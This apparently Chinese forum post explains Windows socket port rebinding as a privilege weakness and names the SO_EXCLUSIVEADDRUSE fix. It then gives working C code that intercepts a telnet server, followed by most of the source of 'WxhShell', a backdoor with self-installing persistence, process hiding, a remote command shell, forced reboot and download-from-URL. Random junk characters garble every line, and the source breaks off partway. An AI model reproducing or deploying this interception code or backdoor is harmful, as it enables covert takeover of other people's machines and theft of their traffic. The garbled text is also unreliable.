在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
86 W9rR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-:2$ % Oiz ,w7LRh saddr.sin_family = AF_INET;
tyXuG< Kwefs;<E? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[F0s!,P h]+C.Eqnt# bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
66/3|83Z v 1z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2XFU1 AW Q&wB$*u 这意味着什么?意味着可以进行如下的攻击:
3L833zL z=rT%lz6
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
42e|LUZg *c~T@m~DR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`x
l R< ,`[* Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.y_/U wu tBq
nfv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<3xyjX'NE 5R'TcWf#W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ohF JZ' M=1n QF2J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0fb`08,^ mef<=5t 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i5Zk_-\#H _hRcc"MS` #include
KM}f:_J*lg #include
@hJ%@( #include
yaah*1ip[ #include
$FlW1E j DWORD WINAPI ClientThread(LPVOID lpParam);
U*(izD int main()
:`-,Lbg {
O4r0R1VQM WORD wVersionRequested;
+=q$ x Ia DWORD ret;
>TOu|r WSADATA wsaData;
J8S'/y(LE< BOOL val;
g .onTFwN SOCKADDR_IN saddr;
v@Gl|29_ SOCKADDR_IN scaddr;
N}pw74=1 int err;
/4a._@1h[y SOCKET s;
\R|4( +]x SOCKET sc;
=+U `-J}g int caddsize;
plb!.g HANDLE mt;
o*DN4oa) DWORD tid;
,_Z5m; wVersionRequested = MAKEWORD( 2, 2 );
E=e*VEjy err = WSAStartup( wVersionRequested, &wsaData );
eZ|%<Wpu if ( err != 0 ) {
>#hO).`C printf("error!WSAStartup failed!\n");
E"+QJ~! return -1;
7NDr1Z#B6V }
Po ZuMF saddr.sin_family = AF_INET;
?Cl%{2omO k p<OJy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(iL|Sq&}b p 3 w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i'9vL:3 saddr.sin_port = htons(23);
/9HVY
%n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
``ou/Z {
gW-V=LV ( printf("error!socket failed!\n");
g=QDu7Ux return -1;
t^6dzrF }
U@-^C"R val = TRUE;
!q9+9 *6 //SO_REUSEADDR选项就是可以实现端口重绑定的
P8>~c9$I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
K{[%7AM {
oW<5|FaN printf("error!setsockopt failed!\n");
,wIONDnLZ return -1;
/% M/ }
/4g1zrU //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~C>?W[Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kdl:Wt*4o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!Cr(Pe] d5oIH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#7MUJY+
9 {
B5X(ykaX~ ret=GetLastError();
Vl:^>jTki printf("error!bind failed!\n");
1XD,uoxB
return -1;
BZR:OtR^ }
.w0s%T,8}^ listen(s,2);
m^bNuo while(1)
M+w=O!dq {
3+ @<lVew6 caddsize = sizeof(scaddr);
>U%gctIg //接受连接请求
DP3PYJ%+B sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i(>4wK!! if(sc!=INVALID_SOCKET)
y#q?A,C@n {
6f\Lf?vF mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fpFhn if(mt==NULL)
;4.!H,d {
X{\F;Cb* printf("Thread Creat Failed!\n");
_Em. break;
hM{{\yZS }
=y0C1LD+ }
4:r!|PJn{G CloseHandle(mt);
WJ4li@T7V }
[%77bv85.G closesocket(s);
rEv$+pP WSACleanup();
d`
jjGEj return 0;
%Ti}CwI` }
">y%iE DWORD WINAPI ClientThread(LPVOID lpParam)
^yyC
[Mz {
K':K{ee> SOCKET ss = (SOCKET)lpParam;
f;1K5Y SOCKET sc;
*# tJM.Z unsigned char buf[4096];
aC%m- m SOCKADDR_IN saddr;
IE9XU9Kd long num;
)u/yF*:n DWORD val;
%l,,_:7{ DWORD ret;
Aq0S-HKF //如果是隐藏端口应用的话,可以在此处加一些判断
DGAX3N;r6{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}Ub6eXf(2 saddr.sin_family = AF_INET;
:9$F'd\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
BV>\ McI+ saddr.sin_port = htons(23);
YwZ
Z{+n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pXJpK@z {
rzh#CnL3 printf("error!socket failed!\n");
#m{UrTC return -1;
;)!Sp:mHX }
X&0 uI*r val = 100;
G|(
]bvJ? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p' + {
Gcig*5 ret = GetLastError();
LAd\ Tvms return -1;
\ aHVs }
XI22+@d6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%=/) {
l)!n/x_ ! ret = GetLastError();
.h>8@5/s return -1;
l&?}hq^'Dn }
lsy?Ac if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
TJ1+g
\ {
xYhrO printf("error!socket connect failed!\n");
+=.W<b closesocket(sc);
%Mk0QKzUo closesocket(ss);
Z| V`B ` return -1;
_ B5gR }
/ig:9R while(1)
/k<WNZM {
Oh'Y0_oB> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
T`Mf]s)* //如果是嗅探内容的话,可以再此处进行内容分析和记录
]Yvga!S"C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
-*m+(7G\ num = recv(ss,buf,4096,0);
#_(jS+lP?k if(num>0)
w*|7!iM send(sc,buf,num,0);
I;Bjfv5 else if(num==0)
1f8GW break;
^8@Iyh num = recv(sc,buf,4096,0);
E5N{j4\F if(num>0)
"sl1vzRN send(ss,buf,num,0);
XLH+C ]pfr else if(num==0)
tc!wLnhG break;
k:#P|z$UD }
HjGyj/78w closesocket(ss);
TW9WMId closesocket(sc);
TM|)Ljm return 0 ;
Vw&HVo }
cPU/tkc YI.w-K\ E4W zU ==========================================================
3Bx:Ntx< mK [0L 下边附上一个代码,,WXhSHELL
}GZ}Q5 1s{^X
- ==========================================================
Iz{R}#8CZ jvV9eA:zl #include "stdafx.h"
9gEssTkts =pznu+, #include <stdio.h>
)"m!YuS Y #include <string.h>
Xj5~%DZp #include <windows.h>
?x0pe4^If #include <winsock2.h>
aKd+CO: #include <winsvc.h>
n]u<!.X #include <urlmon.h>
n9\]S7]52 jOyvDY9\ #pragma comment (lib, "Ws2_32.lib")
Ii^5\v|C #pragma comment (lib, "urlmon.lib")
+\{&2a? if]Noe #define MAX_USER 100 // 最大客户端连接数
<6G11-K #define BUF_SOCK 200 // sock buffer
=Mb1o[ #define KEY_BUFF 255 // 输入 buffer
bC3 F @5[kcU> #define REBOOT 0 // 重启
X K5<Tg #define SHUTDOWN 1 // 关机
iK IOh('G bI y sl #define DEF_PORT 5000 // 监听端口
{"
4e+y CY&
hIh~S@ #define REG_LEN 16 // 注册表键长度
W},b{NT #define SVC_LEN 80 // NT服务名长度
PccB] XZ/[v8 // 从dll定义API
?9X&tK)E- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
LsM7hLy typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
//&j<vus typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!gmH$1w typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Fbp{,V@F2 !P$'#5mr // wxhshell配置信息
o1/lZm{\~n struct WSCFG {
:v L1}H< int ws_port; // 监听端口
QQpP#F|w char ws_passstr[REG_LEN]; // 口令
m"9XT)N int ws_autoins; // 安装标记, 1=yes 0=no
4TwQO$C char ws_regname[REG_LEN]; // 注册表键名
1[*{(e char ws_svcname[REG_LEN]; // 服务名
1,V`8 [ char ws_svcdisp[SVC_LEN]; // 服务显示名
bhs(Qzx char ws_svcdesc[SVC_LEN]; // 服务描述信息
9 F^;! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
H\GkW6 int ws_downexe; // 下载执行标记, 1=yes 0=no
TFepxF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=D^TK-H char ws_filenam[SVC_LEN]; // 下载后保存的文件名
SjEdyN# SxjCwX"> };
]p~IYNl2%j @wq#>bm // default Wxhshell configuration
%o}(sShS struct WSCFG wscfg={DEF_PORT,
FhIqy %X "xuhuanlingzhe",
9Z6C8Jv 1,
3g~^LZ66 "Wxhshell",
?R5'#|EyX "Wxhshell",
p$k\m|t "WxhShell Service",
~B$b)`* "Wrsky Windows CmdShell Service",
"*7C`y5&P "Please Input Your Password: ",
L"<B;u5pM 1,
LihjGkj\g "
http://www.wrsky.com/wxhshell.exe",
t?^9HP1b_ "Wxhshell.exe"
A{<xc[w;p };
T!Sj<,r+j {[(pWd%J // 消息定义模块
)h^NR3N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%So]3;' char *msg_ws_prompt="\n\r? for help\n\r#>";
)uP[!LV[e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FXo2Y]K3`L char *msg_ws_ext="\n\rExit.";
k:#6^!b1 char *msg_ws_end="\n\rQuit.";
:Y)to/h char *msg_ws_boot="\n\rReboot...";
iS@\ =CK char *msg_ws_poff="\n\rShutdown...";
\%,&~4
! char *msg_ws_down="\n\rSave to ";
cbKL$| WP-jtZ?!" char *msg_ws_err="\n\rErr!";
THhy ~wC". char *msg_ws_ok="\n\rOK!";
:k46S<RE ' eO/PnYW char ExeFile[MAX_PATH];
#Nte^E4 int nUser = 0;
sXl ??UGe HANDLE handles[MAX_USER];
][Y^-Ak1 int OsIsNt;
Vos?PqUi 4 ]2+g&ox4' SERVICE_STATUS serviceStatus;
|Vx~fK S\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
C]`eH*z~8 bdV3v` // 函数声明
u9![6$R int Install(void);
H?}wl% int Uninstall(void);
Nm8w/Q5D` int DownloadFile(char *sURL, SOCKET wsh);
=8{*@>CX int Boot(int flag);
?gV'(3
! void HideProc(void);
> zL|8f int GetOsVer(void);
Goj4`Hc int Wxhshell(SOCKET wsl);
BV9 *s void TalkWithClient(void *cs);
|#TXE|#ux int CmdShell(SOCKET sock);
Ku3!*n_\ int StartFromService(void);
|l90g|isJ int StartWxhshell(LPSTR lpCmdLine);
PI7IBI ) Ypz! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=|y|P80w VOID WINAPI NTServiceHandler( DWORD fdwControl );
dE>v\0 3!8 \7E`QY4 // 数据结构和表定义
9YSVK\2$ SERVICE_TABLE_ENTRY DispatchTable[] =
ZBj6KqfST% {
MOV =n75 {wscfg.ws_svcname, NTServiceMain},
|t\KsW {NULL, NULL}
6=>7M
b$ };
11*"d# N^@
\tg= // 自我安装
vug-n 8 int Install(void)
?1m ,SK {
Am7| / char svExeFile[MAX_PATH];
hZ#\t HKEY key;
'?R =P strcpy(svExeFile,ExeFile);
mcMb*?] oWcACs3fB // 如果是win9x系统,修改注册表设为自启动
`9EVB; if(!OsIsNt) {
#5d8?n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zMU68vwM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
s1@@o#r RegCloseKey(key);
n49s3|#)G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YnxU(v'\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RQ5P}A
3H RegCloseKey(key);
j@g!R!7) return 0;
!'PlDGD }
(qk5f`O }
Et0&E }
j}RM.C\7 else {
Fs9W>*( ^HoJ.oC/ // 如果是NT以上系统,安装为系统服务
8a!2zwUBV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
RD9Yk if (schSCManager!=0)
-~0'a {
#J3zTG(:@ SC_HANDLE schService = CreateService
}JJ::*W2n (
`L">"V`$Bj schSCManager,
.)nCOwR6p wscfg.ws_svcname,
x[a'(5PwY wscfg.ws_svcdisp,
:9O|l)N)W= SERVICE_ALL_ACCESS,
SJF 2k[da SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[sptU3,2U SERVICE_AUTO_START,
^1vq{/ X SERVICE_ERROR_NORMAL,
}(rzH}X@ svExeFile,
:!hk~#yvJ9 NULL,
vy:6_ NULL,
)rS^F<C NULL,
{8W |W2o$! NULL,
X[Y#+z4 NULL
0YHYx n );
.>a$g7Rj if (schService!=0)
q2D`1nT {
E'fX&[ CloseServiceHandle(schService);
gFgcxe6 CloseServiceHandle(schSCManager);
ir"* iL= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uJ7,rq strcat(svExeFile,wscfg.ws_svcname);
~'|&{-< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
d!FONi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[29$~.m$Y RegCloseKey(key);
Yr Preuh return 0;
s@R3#"I }
#0xm3rFy4 }
baA HP" CloseServiceHandle(schSCManager);
Ab/v_mA; }
:s? y, }
X6n|Xq3k H74NU_ return 1;
g(M(Hn7
}
/o~
@VF: >f3k3XWRT // 自我卸载
BZ8h*|uT" int Uninstall(void)
t"4Rn<- {
b'i%B9yU:% HKEY key;
Ykx&6M@t s#4))yUR6Z if(!OsIsNt) {
^2P;CAjj-
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L+`}euu5 RegDeleteValue(key,wscfg.ws_regname);
*NKC\aV`0 RegCloseKey(key);
=W97|BIW, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zhD`\&G. RegDeleteValue(key,wscfg.ws_regname);
1WZKQeOo RegCloseKey(key);
9~*_(yjF return 0;
*m2d#f }
9;'>\ImI }
Q|zE@nLS
}
?3e!A9x else {
!)=#p9 s7X~OF(# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A_8`YN"Xk if (schSCManager!=0)
w96j,rEC {
_j|n}7a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
SvCK;$: if (schService!=0)
8=b{'s^^F {
gs)%.k[BqG if(DeleteService(schService)!=0) {
(>kBmK1Aj CloseServiceHandle(schService);
+$an*k9 CloseServiceHandle(schSCManager);
bE%mgaOh return 0;
xw/h~:NT }
{jCu9 ]c! CloseServiceHandle(schService);
WL*W=( }
!F}J+N=} CloseServiceHandle(schSCManager);
8EVF<@{] }
|M0,%~Kt }
"m\UqQGX 8P'En+uE1| return 1;
!SD [6Z.R }
U_=wL _mq*j^u,j // 从指定url下载文件
cWy*K4O int DownloadFile(char *sURL, SOCKET wsh)
<aQ; "O~
{
:pV("tHE HRESULT hr;
PxCl]~v char seps[]= "/";
VNh,pQ( char *token;
#uDBF char *file;
Aj)<8 char myURL[MAX_PATH];
QYCNO#* char myFILE[MAX_PATH];
th>yi)m * y"GgI strcpy(myURL,sURL);
9"u@<] token=strtok(myURL,seps);
."#jN><t while(token!=NULL)
)Q pP1[ {
'c+qBSDA file=token;
9@&Z`b_ token=strtok(NULL,seps);
}'M1(W
}
>c'_xa?^G E'kQ GetCurrentDirectory(MAX_PATH,myFILE);
'<E8<bi strcat(myFILE, "\\");
{G*:N[pJp strcat(myFILE, file);
eG)/&zQ8 send(wsh,myFILE,strlen(myFILE),0);
g)G7
kB/<p send(wsh,"...",3,0);
1V9X(uP hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#5"<.z if(hr==S_OK)
'9F{.] return 0;
QCY{D@7T else
<OO/Tn'a return 1;
u5)A+.v igbb=@QBJ }
%'~<:>:"E Z
5YW L4s // 系统电源模块
U;A5-|C int Boot(int flag)
hF PRC0ftE {
q,>F#A' HANDLE hToken;
)A+j TOKEN_PRIVILEGES tkp;
c(=O`%B{ a} fS2He if(OsIsNt) {
OcS`Fxs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GB0b|9(6D" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c\rbLr}l) tkp.PrivilegeCount = 1;
:/[ZgreN6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GSb)|mj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Tb6x@MorP if(flag==REBOOT) {
(tz]!Aa{s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Ip|^?uyrk return 0;
3\.)y49,1 }
MifgRUe else {
i|noYo_Ah\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
|0!97*H5 return 0;
$I]x &cF }
9i)mv/i }
[hj'Yg 8{ else {
4<>:] if(flag==REBOOT) {
@Lv_\^2/} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;xH'%W9z return 0;
qtQ:7WO }
_~q^YZ else {
w%-!dbmb% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
TB[2!ZW return 0;
s;f u }
E1v<-UPbA }
@Iatlz*W hQxe0Pdt return 1;
O5*uL{pvT{ }
C:EoUu F5q1VEe // win9x进程隐藏模块
VQ3& void HideProc(void)
qr;" K?NX {
HliY g*AqFY7| HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
J(VZa_ if ( hKernel != NULL )
6FFv+{2^@ {
4/vQ=t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9'aR-tFun; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;.a)r FreeLibrary(hKernel);
eajL[W^> }
FKm2slzb }`]^LFU5 return;
.lS6KBf@ }
t\0JNi$2 lV="IP^7 // 获取操作系统版本
zwHsdB=v int GetOsVer(void)
*~X\c Z {
:9qB{rLi} OSVERSIONINFO winfo;
T^>cT"ux_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<#`L&w. GetVersionEx(&winfo);
j. cH,Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
PxY"{-iAM return 1;
pDfF'jt9 else
BpE[9N return 0;
]7@Dqd-/S }
|Dli6KN 2US8<sq+ // 客户端句柄模块
$]86w8?-N int Wxhshell(SOCKET wsl)
#2iA-5 {
;kA2"c]m SOCKET wsh;
8a1{x(\z. struct sockaddr_in client;
Pr'py DWORD myID;
!).dc.P C^'}{K while(nUser<MAX_USER)
ymu# u {
K;O\Pd int nSize=sizeof(client);
ZN/") wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
IYPI5qCR if(wsh==INVALID_SOCKET) return 1;
$:/1U$ H6QQ<~_& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b9Nw98` if(handles[nUser]==0)
IFe[3mB5 closesocket(wsh);
4`B:Mq&j else
Z~<V>b nUser++;
_Yv9u'q" }
,;;~dfHm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
54-x 14") NaIVKo return 0;
es{
9[RHK }
v?J2cL O1PdM52 // 关闭 socket
<KC gtO void CloseIt(SOCKET wsh)
~ i,my31 {
l\)Q3.w closesocket(wsh);
OXo-(HLE nUser--;
~Km8-b(& ExitThread(0);
C" {j0X` }
X9>ujgK ) PtaX|U // 客户端请求句柄
HukHZ;5 void TalkWithClient(void *cs)
D UeT {
>ObpOFb% ?k-IS5G SOCKET wsh=(SOCKET)cs;
;Ti?(n#M> char pwd[SVC_LEN];
FM5$83Q char cmd[KEY_BUFF];
LcXrD+
1 char chr[1];
6BMn7m? int i,j;
]pb3
Fm{ 4)?c[aC4P while (nUser < MAX_USER) {
{u7E )Fdl
iV%%VR8b
if(wscfg.ws_passstr) {
QP'*
)gjO7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Y\lBPp0{\v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/*[a>B4-q //ZeroMemory(pwd,KEY_BUFF);
'7$v@Tvnre i=0;
'(Pbz
while(i<SVC_LEN) {
drH!?0Dpg WH!<Z=#c} // 设置超时
3x#G
SS fd_set FdRead;
?r/7: struct timeval TimeOut;
.Xr_BJ _ FD_ZERO(&FdRead);
Sng V<J>zR FD_SET(wsh,&FdRead);
kb>9;-%^JK TimeOut.tv_sec=8;
T]+*}C TimeOut.tv_usec=0;
]uP{Sj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
gpPktp2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3.>jagu uzsR*x%s- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;@sxE}`?g pwd
=chr[0]; :x_l"y"
if(chr[0]==0xd || chr[0]==0xa) { ]M_)f
pwd=0; G"'DoP7p9
break; 0FXM4YcrJO
} b{(:'.
i++; E3`KO'v%
} d(k`Yk8
1~j.jv$
// 如果是非法用户,关闭 socket UHXlBH@
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j,Mp["X&
} luV%_[F
h~dM*yo;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m0:8thZN
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7FWf,IjcGY
D0uf=BbS
while(1) { (|Xf=q,Le
e{"d6pF=
ZeroMemory(cmd,KEY_BUFF); O'(qeN<^w
i2y?CI
// 自动支持客户端 telnet标准 Y5K!DMKY
j=0; 9~a_^m/
while(j<KEY_BUFF) { 7m8L!t9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CvlAn7r,@
cmd[j]=chr[0]; cLamqZf3
if(chr[0]==0xa || chr[0]==0xd) { vhT9#) HI
cmd[j]=0; 1V)0+_Yv
break; S&|$F2M
} #E>f.:)
j++; d
;ry!X
} d+=;sJ
l46O=?usDX
// 下载文件 d
d8^V_Kx
if(strstr(cmd,"http://")) { ; <3w ,r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <;M 6s~
if(DownloadFile(cmd,wsh)) 2f F)I&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wtMS<$
else SxMh '
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?jy^WF`
} B,}%1+*
else { g~N)~]0{
U edh4qa
switch(cmd[0]) { +BmA4/P$
?zxKk(J
// 帮助 O=ci"2!\-
case '?': { tWD*uAb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Q}.9s_ri
break; <4^a(Zh
} )6Z)z;n]aW
// 安装 >KC*xa"
case 'i': { %kKtPrT
if(Install()) UI |D?z<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qw~hWX
else ">NBPanJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m&b!\"0
break; y%p&g
} $
5
// 卸载 (]'4_~e
case 'r': { H<dm;cU
if(Uninstall()) zI(b#eUF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dEns|r
else B
+_D*a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V<P@hAAr
break; mLKwk6I
} fytgS(?I'
// 显示 wxhshell 所在路径 r's4-\
case 'p': { 4e1Zyi!
char svExeFile[MAX_PATH]; O zY&^:>
strcpy(svExeFile,"\n\r"); Qq^>7OU>Co
strcat(svExeFile,ExeFile); rn U2EL
send(wsh,svExeFile,strlen(svExeFile),0); m3K8hL/
break; rEz=\yY^j'
} O>)8< yi$
// 重启 *_3+ DF
case 'b': { \*1pFX#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); = M ?
if(Boot(REBOOT)) ]hN%~
~$>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}{|trr-E
else { {BDp`uZ
closesocket(wsh); OT\[qaK
ExitThread(0); IgQW 5E#
} bsR&%C
break; B7_:,R.l
} mf^(Tq[
// 关机 -@<k)hWr
case 'd': { ~g~z"!K
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Cj?k.Zk
if(Boot(SHUTDOWN)) /DJyNf*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#Ajt/XQ
else { 83Bp_K2\
closesocket(wsh); e:6R +8s2
ExitThread(0); LezM=om.
} v.c2(w/P
break; b_z;^y~
} YSs9BF:a
// 获取shell C$b$)uI;
case 's': { 4JT9EKo
CmdShell(wsh); t%/Y^N;
closesocket(wsh); wBA[L}
ExitThread(0); Cn[`]
break; S6`4&0'
} th2a'y=0
// 退出 e{>X2UNW
case 'x': { .3t[M0sd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OGzth$7A
CloseIt(wsh); MrXhVZ"d*
break; rH8w||S2U
} (sq4
// 离开 %mAgE\y25
case 'q': { a.y_o50#T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "nf.kj:>
closesocket(wsh); YJ'h=!p}G
WSACleanup(); ^EPM~cEY\
exit(1); pkWzaf
break; qHt!)j9GKv
} f.!)O@HzH
} l23_K7
} |-bSoq7t
?J<Y]
// 提示信息 )F,H(LblH
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }:5AB93(
} 82WXgB>
} Bmm#5X@*
Ix93/FAn
return; ZTfs&5
} 2M3.xUS
RX P 0
4
// shell模块句柄 {.GC7dx
int CmdShell(SOCKET sock) ,a9<\bd)
{ ;;pxI5
STARTUPINFO si; +R@5e+auQ.
ZeroMemory(&si,sizeof(si)); *Em 9R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t,4q]Jt
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w4H3($
K
PROCESS_INFORMATION ProcessInfo; b*LEoQSl0V
char cmdline[]="cmd"; g Q%'2m+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "Sz pFw
return 0; + |Z1U$0g
} ?vuM'UH-
5M4mFC6
// 自身启动模式 X3vTyIsn
int StartFromService(void) W2G`K+p
{ -h%;L5oJ2,
typedef struct zA=gDuy3@
{ d?C8rkV'
DWORD ExitStatus; n|dLK.Q
DWORD PebBaseAddress; B.vg2N
DWORD AffinityMask; ^o}!=aMr
DWORD BasePriority; dtw1Am#Ci
